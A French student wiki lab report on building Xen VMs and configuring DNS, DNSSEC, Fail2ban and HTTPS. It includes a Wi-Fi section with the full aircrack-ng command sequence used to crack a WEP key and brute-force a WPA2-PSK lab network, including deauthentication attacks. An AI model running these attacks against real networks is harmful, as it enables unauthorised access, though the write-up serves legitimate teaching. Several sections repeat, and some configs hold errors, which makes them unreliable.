Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.

<syntaxhighlight lang="shell">
zone "rs7.zone" {
type primary;
file "/etc/bind/zones/rs7.zone.signed";
allow-transfer { secondaries; };
also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };
key-directory "/etc/bind/rs7.dnssec";
dnssec-policy "dnspol";
inline-signing yes;
};

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

acl "secondaries" {
2001:660:4401:60a0:216:3eff:fed3:58ae;
2001:660:4401:60a0:216:3eff:fee4:9c08;
};

zone "c2vts.fr" {
type secondary;
file "/etc/bind/backup/c2vts.fr.zone";
primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };
};
</syntaxhighlight>

==Création et configuration du fichier .zone==
Nous avons ensuite créé et configuré le fichier rs7.zone.

<syntaxhighlight lang="shell">
$TTL 200
@ IN SOA ns.rs7.online. admin.rs7.online. (
4004 ; Version
21600 ; Refresh secondary (6h)
3600 ; Retry secondary (1h)
2592000 ; Expire if no refresh (30j)
86400 ) ; Negative cache (24h)

; Serveurs de noms
@ IN NS ns.rs7.online.
@ IN NS ns.c2vts.fr.

;Enregistrements A
@ IN A 193.48.57.170
ns IN A 193.48.57.170

;Enregistrements AAAA
@ IN AAAA 2001:660:4401:60a0:216:3eff:fed3:d693
ns IN AAAA 2001:660:4401:60a0:216:3eff:fed3:d693

;Enregistrements CNAME
www IN CNAME rs7.online.

$include "/etc/bind/rs7.dnssec/rs7.online-ksk.key"
$include "/etc/bind/rs7.dnssec/rs7.online-zsk.key"
</syntaxhighlight>

On charge la version du fichier de zone avec la commande suivante :

<syntaxhighlight lang="shell">
root@Gtr:/etc/bind/zones/rs7.online# named-checkzone rs7.zone
zone rs7.zone/IN: loaded serial 4004
OK
</syntaxhighlight>

==Vérifications==
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :

named-checkzone <nom du fichier>

Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.

Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker.

[[Fichier:DNS.png|vignette|center|900px]]

=DNSSEC=

==Configuration de la méthode automatique==
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:

<syntaxhighlight lang="shell">
zone "rs7" {
type primary;
file "/etc/bind/zones/rs7.zone.signed";
allow-transfer { secondaries; };
also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };
key-directory "/etc/bind/rs7.dnssec";
dnssec-policy "dnspol";
inline-signing yes;
};

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

acl "secondaries" {
2001:660:4401:60a0:216:3eff:fed3:58ae;
2001:660:4401:60a0:216:3eff:fee4:9c08;
};

zone "c2vts.fr" {
type secondary;
file "/etc/bind/backup/c2vts.fr.zone";
primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };
};
</syntaxhighlight>

==Génération des clés==
ensuite nous créeons le répertoire qui va acceuillir nos clés:

<syntaxhighlight lang="shell">
mkdir -p /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 700 /etc/bind/keys
</syntaxhighlight>

et nous redémarrons le service :

<syntaxhighlight lang="shell">
service named restart
</syntaxhighlight>

voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:

<syntaxhighlight lang="shell">
root@rs7:/etc/bind/rs7.dnssec# ls
Krs7.+013+14689.key Krs7.+013+57317.private rs7.online-ksk.private
Krs7.+013+14689.private Krs7.+013+57317.state rs7.online-zsk.key
Krs7.+013+14689.state dsset-rs7. rs7.online-zsk.private
Krs7.+013+57317.key rs7.online-ksk.key
</syntaxhighlight>

Nous pouvons maintenant verifier sur le site "DNSViz" le DNS de rs7.online.

= Fail2ban =

Pour se protéger contre les attaques par '''brute force''' sur le service SSH, nous utilisons l’outil '''Fail2ban'''. La première étape consiste à modifier le fichier <code>jail.local</code> afin d’y définir les paramètres de protection suivants :

<syntaxhighlight lang="shell">
[sshd]
enabled = true
port = ssh
filter = sshd
logpath = %(sshd_log)s
backend = %(sshd_backend)s
maxretry = 3
findtime = 600
bantime = 600
</syntaxhighlight>

Dans cette configuration :
* <code>maxretry</code> indique le nombre maximal de tentatives autorisées avant le bannissement ;
* <code>findtime</code> correspond à la période durant laquelle les tentatives sont comptabilisées avant réinitialisation ;
* <code>bantime</code> définit la durée du bannissement de l’adresse IP fautive.

La commande <code>fail2ban-client status sshd</code> permet ensuite de consulter l’état du ''jail'' SSH, notamment le nombre de tentatives échouées, le nombre total de bannissements et la liste des adresses IP actuellement bloquées.

<syntaxhighlight lang="shell">
root@rs7:/etc/bind# fail2ban-client status sshd
Status for the jail: sshd
|- Filter
| |- Currently failed: 0
| |- Total failed: 1
| `- File list: /var/log/auth.log
`- Actions
|- Currently banned: 0
|- Total banned: 1
`- Banned IP list:
</syntaxhighlight>

Le même principe est appliqué pour limiter les attaques visant le service DNS. On ajoute alors une nouvelle configuration dans le fichier <code>jail.local</code> :

<syntaxhighlight lang="shell">
[connect-refused]
enabled = true
port = domain
protocol = tcp
filter = connect-refused
logpath = /var/log/syslog
maxretry = 3
bantime = 600
findtime = 600
</syntaxhighlight>

Il est ensuite nécessaire de créer un filtre personnalisé dans le répertoire <code>filter.d</code>, nommé <code>connect-refused.conf</code>, afin de définir les motifs de requêtes TCP à bloquer :

<syntaxhighlight lang="shell">
root@rs7:/etc/fail2ban/filter.d# cat connect-refused.conf
[Definition]
failregex = .* client_ip=<HOST>.*(NXDOMAIN|SERVFAIL|REFUSED).*
ignoreregex =
</syntaxhighlight>

Enfin, la commande <code>fail2ban-client status connect-refused</code> permet de vérifier l’activité de ce ''jail'', notamment les tentatives détectées et les adresses IP bannies.

<syntaxhighlight lang="shell">
root@rs7:/etc/fail2ban/filter.d# fail2ban-client status connect-refused
Status for the jail: connect-refused
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /var/log/syslog
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
</syntaxhighlight>

=HTTPS=
==Installation d'Apache2==
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :
<syntaxhighlight lang="shell">
aptitude install apache2
</syntaxhighlight>

Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :
<syntaxhighlight lang="shell">
a2enmod ssl
</syntaxhighlight>

==Activation du port HTTPS==
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :
<syntaxhighlight lang="shell">
root@rs7:~# cat /etc/apache2/ports.conf
# Port HTTP classique
Listen 80

# Port HTTPS
<IfModule ssl_module>
Listen 443
</IfModule>

<IfModule mod_gnutls.c>
Listen 443
</IfModule>
</syntaxhighlight>

==Configuration du certificat SSL==
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :
<syntaxhighlight lang="shell">
/etc/ssl/certs/rs7.online.crt : Certificat SSL
/etc/ssl/private/rs7.online.key : Clé privée
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire
</syntaxhighlight>

==Configuration du domaine sécurisé==
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :
<syntaxhighlight lang="shell">
root@rs7:~# cat /etc/apache2/sites-available/rs7.online.conf
<VirtualHost *:80>
ServerName rs7.online.
ServerAlias www.rs7.online.
Redirect permanent / https://rs7.online/
</VirtualHost>

<VirtualHost *:443>

ServerName rs7.online.
DocumentRoot /var/www/rs7.online/
CustomLog /var/log/apache2/secure_access.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/rs7.online.crt
SSLCertificateKeyFile /etc/ssl/private/rs7.online.key
SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem
SSLVerifyClient None
ProxyPass / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/
ProxyPassReverse / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/
SSLProxyEngine on
<Directory /var/www/rs7.online>
AllowOverride All
Require all granted
</Directory>
ErrorLog ${APACHE_LOG_DIR}/rs7.online_error.log
CustomLog ${APACHE_LOG_DIR}/rs7.online_access.log combined

</VirtualHost>
</syntaxhighlight>

==Vérification du certificat SSL==
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :
<syntaxhighlight lang="shell">
c_rehash /etc/ssl/certs
</syntaxhighlight>

Notre page web est maintenant accessible via http://rs7.online .

= Effraction Wi-Fi =

== Cassage de clef WEP d’un point d’accès WiFi ==

L’objectif de cette manipulation est de démontrer expérimentalement la vulnérabilité du protocole WEP (Wired Equivalent Privacy) en réalisant une attaque par analyse statistique des vecteurs d’initialisation (IV).

* BSSID du point d’accès cible : '''00:14:BF:63:1E:42'''
* Canal utilisé : '''11'''

=== Passage de l’interface en mode monitor ===

Afin de capturer les trames 802.11 brutes, l’interface Wi-Fi est placée en mode monitor :

<syntaxhighlight lang="bash">
airmon-ng start wlan0
</syntaxhighlight>

Cette commande crée une interface dédiée permettant l’écoute passive du trafic Wi-Fi.

=== Identification du réseau cible ===

Scan des réseaux protégés en WEP :

<syntaxhighlight lang="bash">
airodump-ng --encrypt WEP wlan0mon
</syntaxhighlight>

Le réseau cible identifié présente les caractéristiques suivantes :

=== Capture du trafic ===

Capture ciblée du point d’accès :

<syntaxhighlight lang="bash">
airodump-ng --channel 11 \
--bssid 00:14:BF:63:1E:42 \
--write capture_wep \
wlan0mon
</syntaxhighlight>

Cette étape permet d’accumuler les trames chiffrées nécessaires à l’analyse statistique.

=== Authentification d’une adresse MAC d’injection ===

Pour permettre l’injection de trafic, une adresse MAC locale est associée au point d’accès :

<syntaxhighlight lang="bash">
aireplay-ng --fakeauth 0 \
-a 00:14:BF:63:1E:42 \
-h 02:11:22:33:44:55 \
wlan0mon
</syntaxhighlight>

* -a : BSSID réel du point d’accès
* -h : adresse MAC utilisée pour l’injection
* --fakeauth 0 : authentification Open System

Résultat : authentification et association réussies.

=== Génération de trafic ARP (rejeu) ===

Afin d’accélérer l’accumulation d’IV :

<syntaxhighlight lang="bash">
aireplay-ng --arpreplay \
-b 00:14:BF:63:1E:42 \
-h 02:11:22:33:44:55 \
wlan0mon
</syntaxhighlight>

Le rejeu massif de requêtes ARP entraîne une augmentation rapide du nombre de trames de données capturées.

=== Désauthentification d’un client ===

Pour provoquer l’émission de nouvelles requêtes ARP :

<syntaxhighlight lang="bash">
aireplay-ng --deauth 5 \
-a 00:14:BF:63:1E:42 \
wlan0mon
</syntaxhighlight>

Cette action force les stations à se reconnecter, générant du trafic exploitable.

=== Cassage de la clé ===

Lorsque le nombre d’IV atteint environ 45 000 :

<syntaxhighlight lang="bash">
aircrack-ng capture_wep-01.cap
</syntaxhighlight>

Résultat obtenu :

[[Fichier:Cracotte08.png|800px|vignette|centré]]

- Nombre d’IV exploités : ~44 687
- Clé récupérée : FF:FF:FF:FF:FF:FA:BC:09:CB:AE:EE:EE:EE:EE
- Taux de déchiffrement : 100 %

Cette expérimentation démontre que le protocole WEP ne fournit plus aucun niveau de sécurité acceptable.

La récupération complète de la clé avec un volume relativement faible de trafic confirme son obsolescence et justifie son abandon au profit de mécanismes plus robustes tels que WPA2-Enterprise ou WPA3.

== Cassage de mot de passe WPA-PSK par force brute ==

=== Identification du réseau cible ===

L’analyse des réseaux sans fil environnants a été réalisée à l’aide de l’outil <code>airodump-ng</code> en mode moniteur afin d’identifier le point d’accès Wi-Fi correspondant.

<syntaxhighlight lang="bash">
sudo airodump-ng wlan1mon
</syntaxhighlight>

<code>wlan1mon</code> correspond à l’interface Wi-Fi placée en mode moniteur.

Le réseau cible identifié possède les caractéristiques suivantes :

{| class="wikitable"
! Paramètre !! Valeur
|-
| ESSID || kracotte08
|-
| BSSID || 44:AD:D9:5F:87:07
|-
| Canal || 13
|-
| Chiffrement || WPA2
|-
| Authentification || PSK
|-
| Puissance signal || -38 dBm
|}

Une station cliente connectée a également été détectée :

* Adresse MAC : 40:A5:EF:01:25:8B

=== Capture du handshake WPA ===

Afin de récupérer le four-way handshake WPA nécessaire au cassage du mot de passe, une capture ciblée du trafic a été lancée.

<syntaxhighlight lang="bash">
sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:07 -w kracotte_capture wlan1mon
</syntaxhighlight>

* <code>-c 13</code> : écoute sur le canal du point d’accès.
* <code>--bssid</code> : filtrage du réseau cible uniquement.
* <code>-w</code> : sauvegarde des paquets capturés.
* <code>wlan1mon</code> : interface en mode moniteur.

Cette commande enregistre les échanges d’authentification nécessaires à l’attaque.

===Forçage de la reconnexion des clients ===

Pour provoquer une nouvelle phase d’authentification WPA et générer un handshake, une attaque de désauthentification a été réalisée.

<syntaxhighlight lang="bash">
sudo aireplay-ng -0 10 -a 44:AD:D9:5F:87:07 wlan1mon
</syntaxhighlight>

* <code>-0 10</code> : envoi de 10 trames de désauthentification.
* <code>-a</code> : BSSID du point d’accès cible.

Cette opération force les stations connectées à se reconnecter automatiquement, générant normalement un handshake WPA observable dans <code>airodump-ng</code>.

Sortie observée :

<pre>
Sending DeAuth (code 7) to broadcast -- BSSID: [44:AD:D9:5F:87:07]
</pre>

=== Absence de capture du handshake ===

Malgré l’envoi répété de trames de désauthentification, aucun message indiquant :

<pre>
WPA handshake: 44:AD:D9:5F:87:07
</pre>

n’est apparu dans la fenêtre de capture.

Cet échec s’explique par le fait que la machine utilisée pour réaliser l’attaque était située à une distance trop importante du point d’accès, entraînant une perte de paquets lors de la phase d’authentification. L’expérimentation a ensuite été répétée sur une machine positionnée plus près du point d’accès, ce qui a permis la capture correcte du handshake WPA et le bon déroulement de la procédure.

Selon l’énoncé du TP, le mot de passe WPA est supposé être un nombre composé de huit chiffres, nous faisons cette commande:

<syntaxhighlight lang="bash">
seq -w 00000000 99999999 > dictionnaire.txt
</syntaxhighlight>

pour générer un fichier contenant toute les combinaisons numérique à 8 chiffres.

=== Tentative de cassage du mot de passe ===

La commande suivante permet de lancer l’attaque par dictionnaire :

<syntaxhighlight lang="bash">
aircrack-ng -w dictionnaire.txt kracotte_capture-01.cap
</syntaxhighlight>

Cette expérimentation met en évidence une amélioration significative du niveau de sécurité apporté par WPA2. Toutefois, la robustesse globale du système reste directement dépendante de la complexité du mot de passe utilisé. Une clé numérique simple demeure vulnérable à une attaque par dictionnaire exhaustive.

Atelier SysRes SE4 2025/2026 E8

2026-02-25T17:07:57Z

Yyahiani : /* Vérification du certificat SSL */

=Création du pont et des VM=

== Création du pont: ==
Dans capbreton, dans <code>/etc/network/interfaces</code> on renseigne notre pont <code>pontclio</code>
<syntaxhighlight>
auto pontclio
iface pontclio inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>

==Partitions==
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :

<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio
</syntaxhighlight>

Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:

<syntaxhighlight lang="shell">
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,
phy:/dev/virtual/SE4.RS7-var,xvda3,w,
</syntaxhighlight>

Pour démarrer notre VM nous exécutons la commande suivante:

<syntaxhighlight lang="shell">
xen create SE4.RS7.cfg
</syntaxhighlight>

Ensuite nous pouvons vérifier si la VM est démarrée avec:

<syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

Par la suite nous nous connectons à la VM de cette manière:

<syntaxhighlight lang="shell">
xen console SE4.RS7
</syntaxhighlight>

Ensuite créer les partitions <code>var</code> et <code>home</code>:
<syntaxhighlight>
lvcreate -L10G -nSE4.RS7.home virtual
lvcreate -L10G -nSE4.RS7.var virtual
</syntaxhighlight>

Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:

<syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Et nous formatons ces disk avec ces deux commandes:

<syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:

<syntaxhighlight lang="shell">
mount /dev/xvdb1 /mnt
</syntaxhighlight>

On copie les données et on démonte le fichier copié:

<syntaxhighlight lang="shell">
mv /var/* /mnt
unmount /mnt
</syntaxhighlight>

Nous pouvons maintenant observer les changement:

<syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

=IP=
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:

==VM de service==

Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.

Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:

L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :

<syntaxhighlight lang="shell">
iface eth0 inet6 auto
</syntaxhighlight>

Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.

De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.

Nous complétons donc le fichier avec une adresse statique :

<syntaxhighlight lang="shell">
iface eth0 inet static
address 192.168.7.2
netmask 255.255.255.0
gateway 192.168.7.1
</syntaxhighlight>

==VM mandataire==

Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.

Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.

Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :

<syntaxhighlight lang="shell">
# The loopback network interface
auto lo
iface lo inet loopback

# Primary interface
auto eth0
iface eth0 inet static
address 192.168.7.1/24

# Second interface
auto eth1
iface eth1 inet static
address 193.48.57.170/27
gateway 193.48.57.164

iface eth1 inet6 auto
</syntaxhighlight>

== Tests ==

Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.

Voici l'état des interfaces de la machine de service RS7 :

<syntaxhighlight lang="shell">
root@rs7:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff
inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::216:3eff:fed3:d692/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff
inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr
valid_lft 942sec preferred_lft 842sec
inet6 fe80::216:3eff:fed3:d693/64 scope link
valid_lft forever preferred_lft forever
</syntaxhighlight>

Et voici l'état des interface de la machines mandataire Garage :

<syntaxhighlight lang="shell">
root@Garage:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff
inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::216:3eff:fee4:9c07/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff
inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1
valid_lft forever preferred_lft forever
inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr
valid_lft 893sec preferred_lft 793sec
inet6 fe80::216:3eff:fee4:9c08/64 scope link
valid_lft forever preferred_lft forever
</syntaxhighlight>

=== Test de la LAN ===

Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:

[[Fichier:Ping C2.png|vignette|center|800px]]

Et voici un ping de RS7 vers Garages

[[Fichier:Ping Garage.png|vignette|center|800px]]

=== Test vers l'extérieur ===

Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.

Voici un ping de RS7 vers l'extérieur en IPv4:

[[Fichier:Ping ipv4.png|vignette|center|800px]]

Et voici un ping de RS7 vers l'extérieur en IPv6:
[[Fichier:Ipv6.png|centré|vignette|800x800px]]

=SSH=

Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.

=DNS=
==Configuration du résolveur==
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:

<syntaxhighlight lang="shell">
search plil.info
nameserver 172.26.188.12
nameserver 193.48.57.48

search rs7.online
nameserver 192.168.7.2
nameserver 192.168.7.3
</syntaxhighlight>

==Configuration des zones==
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.

<syntaxhighlight lang="shell">
zone "rs7.zone" {
type primary;
file "/etc/bind/zones/rs7.zone.signed";
allow-transfer { secondaries; };
also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };
key-directory "/etc/bind/rs7.dnssec";
dnssec-policy "dnspol";
inline-signing yes;
};

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

acl "secondaries" {
2001:660:4401:60a0:216:3eff:fed3:58ae;
2001:660:4401:60a0:216:3eff:fee4:9c08;
};

zone "c2vts.fr" {
type secondary;
file "/etc/bind/backup/c2vts.fr.zone";
primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };
};
</syntaxhighlight>

==Création et configuration du fichier .zone==
Nous avons ensuite créé et configuré le fichier rs7.zone.

<syntaxhighlight lang="shell">
$TTL 200
@ IN SOA ns.rs7.online. admin.rs7.online. (
4004 ; Version
21600 ; Refresh secondary (6h)
3600 ; Retry secondary (1h)
2592000 ; Expire if no refresh (30j)
86400 ) ; Negative cache (24h)

; Serveurs de noms
@ IN NS ns.rs7.online.
@ IN NS ns.c2vts.fr.

;Enregistrements A
@ IN A 193.48.57.170
ns IN A 193.48.57.170

;Enregistrements AAAA
@ IN AAAA 2001:660:4401:60a0:216:3eff:fed3:d693
ns IN AAAA 2001:660:4401:60a0:216:3eff:fed3:d693

;Enregistrements CNAME
www IN CNAME rs7.online.

$include "/etc/bind/rs7.dnssec/rs7.online-ksk.key"
$include "/etc/bind/rs7.dnssec/rs7.online-zsk.key"
</syntaxhighlight>

On charge la version du fichier de zone avec la commande suivante :

<syntaxhighlight lang="shell">
root@Gtr:/etc/bind/zones/rs7.online# named-checkzone rs7.zone
zone rs7.zone/IN: loaded serial 4004
OK
</syntaxhighlight>

==Vérifications==
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :

named-checkzone <nom du fichier>

Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.

Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker.

[[Fichier:DNS.png|vignette|center|900px]]

=DNSSEC=

==Configuration de la méthode automatique==
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:

<syntaxhighlight lang="shell">
zone "rs7" {
type primary;
file "/etc/bind/zones/rs7.zone.signed";
allow-transfer { secondaries; };
also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };
key-directory "/etc/bind/rs7.dnssec";
dnssec-policy "dnspol";
inline-signing yes;
};

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

acl "secondaries" {
2001:660:4401:60a0:216:3eff:fed3:58ae;
2001:660:4401:60a0:216:3eff:fee4:9c08;
};

zone "c2vts.fr" {
type secondary;
file "/etc/bind/backup/c2vts.fr.zone";
primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };
};
</syntaxhighlight>

==Génération des clés==
ensuite nous créeons le répertoire qui va acceuillir nos clés:

<syntaxhighlight lang="shell">
mkdir -p /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 700 /etc/bind/keys
</syntaxhighlight>

et nous redémarrons le service :

<syntaxhighlight lang="shell">
service named restart
</syntaxhighlight>

voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:

<syntaxhighlight lang="shell">
root@rs7:/etc/bind/rs7.dnssec# ls
Krs7.+013+14689.key Krs7.+013+57317.private rs7.online-ksk.private
Krs7.+013+14689.private Krs7.+013+57317.state rs7.online-zsk.key
Krs7.+013+14689.state dsset-rs7. rs7.online-zsk.private
Krs7.+013+57317.key rs7.online-ksk.key
</syntaxhighlight>

Nous pouvons maintenant verifier sur le site "DNSViz" le DNS de rs7.online.

= Fail2ban =

Pour se protéger contre les attaques par '''brute force''' sur le service SSH, nous utilisons l’outil '''Fail2ban'''. La première étape consiste à modifier le fichier <code>jail.local</code> afin d’y définir les paramètres de protection suivants :

<syntaxhighlight lang="shell">
[sshd]
enabled = true
port = ssh
filter = sshd
logpath = %(sshd_log)s
backend = %(sshd_backend)s
maxretry = 3
findtime = 600
bantime = 600
</syntaxhighlight>

Dans cette configuration :
* <code>maxretry</code> indique le nombre maximal de tentatives autorisées avant le bannissement ;
* <code>findtime</code> correspond à la période durant laquelle les tentatives sont comptabilisées avant réinitialisation ;
* <code>bantime</code> définit la durée du bannissement de l’adresse IP fautive.

La commande <code>fail2ban-client status sshd</code> permet ensuite de consulter l’état du ''jail'' SSH, notamment le nombre de tentatives échouées, le nombre total de bannissements et la liste des adresses IP actuellement bloquées.

<syntaxhighlight lang="shell">
root@rs7:/etc/bind# fail2ban-client status sshd
Status for the jail: sshd
|- Filter
| |- Currently failed: 0
| |- Total failed: 1
| `- File list: /var/log/auth.log
`- Actions
|- Currently banned: 0
|- Total banned: 1
`- Banned IP list:
</syntaxhighlight>

Le même principe est appliqué pour limiter les attaques visant le service DNS. On ajoute alors une nouvelle configuration dans le fichier <code>jail.local</code> :

<syntaxhighlight lang="shell">
[connect-refused]
enabled = true
port = domain
protocol = tcp
filter = connect-refused
logpath = /var/log/syslog
maxretry = 3
bantime = 600
findtime = 600
</syntaxhighlight>

Il est ensuite nécessaire de créer un filtre personnalisé dans le répertoire <code>filter.d</code>, nommé <code>connect-refused.conf</code>, afin de définir les motifs de requêtes TCP à bloquer :

<syntaxhighlight lang="shell">
root@rs7:/etc/fail2ban/filter.d# cat connect-refused.conf
[Definition]
failregex = .* client_ip=<HOST>.*(NXDOMAIN|SERVFAIL|REFUSED).*
ignoreregex =
</syntaxhighlight>

Enfin, la commande <code>fail2ban-client status connect-refused</code> permet de vérifier l’activité de ce ''jail'', notamment les tentatives détectées et les adresses IP bannies.

<syntaxhighlight lang="shell">
root@rs7:/etc/fail2ban/filter.d# fail2ban-client status connect-refused
Status for the jail: connect-refused
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /var/log/syslog
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
</syntaxhighlight>

=HTTPS=
==Installation d'Apache2==
